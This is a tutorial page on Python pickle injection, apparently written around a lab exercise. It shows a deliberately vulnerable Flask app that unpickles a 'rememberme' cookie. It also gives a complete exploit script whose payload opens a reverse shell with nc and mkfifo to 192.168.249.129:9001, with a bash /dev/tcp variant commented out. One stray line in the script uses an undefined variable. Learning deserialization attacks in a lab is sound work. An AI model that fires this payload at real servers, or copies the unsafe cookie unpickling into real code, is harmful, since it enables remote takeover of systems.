Python Pickle Injection

Python Pickle Injection

Quick Explanation

Example:
root@kali:~# python
>>> import pickle
>>> lst=['abc', 123, 3.14]
>>> pickle.dumps(lst)
"(lp0\nS'abc'\np1\naI123\naF3.14\na."
>>> pd = pickle.dumps(lst)
>>> pickle.loads(pd)
['abc', 123, 3.14]
>>> 
Facts:
  • Pickle is a python package used to 'serialize' an object to string format and store them to or load from a file.
  • Pickle is a simple stack language, which means pickle has a variable stack.
    • Every time it finished 'deserializing' an object, it stores it on the stack.
    • Every time it reaches a '.' while 'deserializing', it pops a variable from the stack.
  • Besides, pickle has a temporary memo, like a clipboard.
  • 'p0', 'p1' means put the top obj on the stack to memo and refer it as '0' or '1'
  • 'g0', 'g1' act as get obj '0' or '1'
  • Pickle has two packages: pickle and cPickle, they have some specific differences like different methods, but most of the case they act in the same way.

Exec Function though Pickle Loading

Exploit payload:
class Exploit(object):
    def __reduce__(self):
        #return (os.system, ('bash -i >& /dev/tcp/192.168.249.129/9001 0>&1',))
        #return (os.system, ('whoami;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.249.129 9001 >/tmp/f',))
        return (os.system, ('whoami',))

def calPayload():
    return cPickle.dumps(Exploit())

print '---------PAYLOAD BEGIN'
print calPayload()
print '---------PAYLOAD END'
$ python epl.py
---------PAYLOAD BEGIN
cposix
system
p1
(S'whoami'
p2
tp3
Rp4
.
---------PAYLOAD END

Pickle Injection Practice:

(ref:http://ptl-fc7f4ba0-95836d9d.libcurl.so/)

vulnerable.py

from flask import Flask, flash
from flask import session, request, render_template, make_response, redirect, url_for
from flask.ext.sqlalchemy import SQLAlchemy
from sqlalchemy.exc import IntegrityError
import os, hmac, base64, cPickle, hashlib, StringIO


application = Flask(__name__)

# os.random(400) - static key for CGI
application.secret_key = '2c]E{&\xc0V\xd8\x8d(w\xb5<\x86 !\xda\x0css\xb7\xfbAaK\x0f\xfe]\xce\xa1VM\x9e"\x19<\xb9\xc6\xd4\x10\xadn\xd8\xcb\xff\tR\x0e\xc2\xcd\xd5\xd9\'\xa4\xd9\xe19\tl\x99&\x9d8\xa8R\xfe\xccZ!\xb8\xa4\x94\x80/\x15\xa0\x90V\xc9\xe2OY\xdb\xbak\xe0,\x92\x0f2;\xca\'Kh\x0b\x0b\xd0\xc5\xf6l2\xccX\xe9;\xa5\xe1gK}q?A\xeb\xb7k1"\xc1\x03\x18\xcb\xed\xe4\xa6+\xa1\x18\x02\xa6K\xa2\x00s\x90JE\xd9\x05\'\xf0\x89`?\xff\xfa\xb1\xbc^\xe2V\xe6\xb9\x86\xfa6\xe2z\xf1Lv\xe7[\x11-\'\xdft}\xbc\x95M9\x88\xd8#A\rb8\x0f)NG\xb0:F\xa5\t\xad\xc3\xd6\x85\x1a\xa7\x98\x16\x81d\xbaE\x92\xb9\x05y=\x82Q\xd0S\xde\xfc\x86\x08\xd9(\xbf\x0eDqo/\xda7\xa6A\x9f\xc2\xa0\x08\xba\xbc$,\xdd\x83N(\'\x1c\xf3\xc2lp\x98S*\xbb\x01\xf1\x1d\x88\x13\xfboQ\x10\x04\xdaSS\xba\x19RW\x98\xed\xcb\xae\x91\xb0SBw\xb7\xee\x15\xaf\x01^\x8f\x1aJ\xc8\x03\x82\x08w\xce\xa6y\xb3e\x8d\xae@g\x7fEY\xe3x\xe4\xeewd&\xfd\xc9\xde~\r\xb5\x0b\x10\x12\xa7\xa3r\xbf\xf8\xbbE\xa0\xd4|\xb1\x95\x00\xa6\xe3I\xe6.\xb5\xf0rSh\xc1\x18\xf1B\x05x\xb0\x92\xfa\xd2\xa5\xc6\x97\x9cb\x84\x18\xb5P\xa2\xc6\xfc\xfe\xef\x11\xe1X\x1d\xe218 \xc6\xce\xcc\xed\x8c\xc9\xcd\x00\x17\xf0`X![\xf88\xf2>LV\xe0\x0c\xd8\xbb\x05T\x8a'


application.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/pentesterlab.db'
db = SQLAlchemy(application)
db.create_all()


class User(db.Model):
  id = db.Column(db.Integer, primary_key=True)
  username = db.Column(db.String(255), unique=True)
  password = db.Column(db.String(255), unique=False)

  def __init__(self, username, password=""):
    self.username,self.password = username,hashlib.md5(password).hexdigest() 

  def rememberme(self):
    creds = [self.username , self.sign() ]
    return base64.b64encode(cPickle.dumps(creds))

  def sign(self):
    return User.sign_username(self.username)
 
  @classmethod
  def sign_username(self,username):
    return hmac.HMAC(application.secret_key, username).hexdigest()
 

  @classmethod
  def valid_rememberme(self, cookie):
    user, sign = cPickle.load(StringIO.StringIO(base64.b64decode(cookie)))
    if User.sign_username(user) == sign:
      return True
    return False

  @classmethod
  def from_rememberme(self, cookie):
    user, sign= cPickle.load(StringIO.StringIO(base64.b64decode(cookie)))
    return user


  @classmethod
  def valid_login(self,username,password):
    user = User.query.filter_by(username=username).first()
    if user and user.password == hashlib.md5(password).hexdigest():
      return True
    return False

 
 


@application.route("/")
def index():
  name = None
  if 'username' in session and session['username']:
    name = session['username']
  elif request.cookies.get('rememberme'):
    if User.valid_rememberme(request.cookies.get('rememberme')):
      session['username'] = User.from_rememberme(request.cookies.get('rememberme'))
      name = session['username']
 
  return render_template('index.html', name=name) 

@application.route("/login", methods=['GET', 'POST'])
def login():
  if request.method == 'POST':
      if User.valid_login(request.form['username'], request.form['password']):
        response = make_response(redirect(url_for('index')))
        if ('rememberme' in request.form) and request.form['rememberme']:
          response.set_cookie('rememberme', User(request.form['username']).rememberme())
        session['username'] = request.form['username']
        return response
      else:
        flash('Invalid username/password', "errror")
        return render_template('login.html')
  else: 
    return render_template('login.html', error=None)
    
@application.route("/register", methods=['GET', 'POST'])
def register():
  if request.method == 'POST':
    if request.form['password'] != request.form['password_again']:
      flash("Passwords don't match", "errror")
      return render_template('register.html')
    else: 
      u = User(request.form['username'],request.form['password'])
      db.session.add(u) 
      try:
        db.session.commit()
        flash("User successfully created", "success")
        return render_template('login.html')
      except IntegrityError: 
        flash("Cannot create user (user exists)...", "error")
        return render_template('register.html')

  else:
    return render_template('register.html')



@application.route("/logout")
def logout():
  response = make_response(redirect(url_for('index')))
  session.pop("username",None)
  response.set_cookie('rememberme', "")
  return response






# register page
# login page
# send back a cookie pickled username signed

if __name__ == "__main__":
  application.debug = True
  application.run()

#  def verifyAuth(self, headers):
#    try:
#      token = cPickle.loads(base64.b64decode(headers['AuthToken']))
#      if not check_hmac(token['signature'], token['data'], getSecretKey()):
#        raise AuthenticationFailed
#      self.secure_data = token['data']
#    except:
#      raise AuthenticationFailed

epl.py

from pwn import *
import cPickle
import os
import base64
from optparse import OptionParser

class Exploit(object):
    def __reduce__(self):
        #return (os.system, ('bash -i >& /dev/tcp/192.168.249.129/9001 0>&1',))
        return (os.system, ('whoami;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.249.129 9001 >/tmp/f',))

def calPayload():
    pd=cPickle.dumps(Exploit())
    print 'pd', pd
    return base64.b64encode(pd)

def exploit(addr, port):
    sock=remote(addr, port)

    payload='''GET / HTTP/1.1
Host: 0.0.0.0:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: session=aeyJ1c2VybmFtZSI6ImEifQ.C-a8Kg.llYFXMJm949I05GvNUfrYehd3Uk; rememberme="'''+calPayload()+'''"
Connection: close

    '''
# as long as session is an invalid one, we are good.
    sock.send(payload)

cPickle.load(StringIO.StringIO(base64.b64decode(pl)))

if __name__ == '__main__':
    parser = OptionParser()
    parser.add_option('-s',dest='address',metavar="Address")
    parser.add_option('-p',dest='port',metavar="Port")
    (options, args)=parser.parse_args()
    if options.address == None or options.port == None:
        parser.error('')
    else:
        exploit(options.address, int(options.port))

References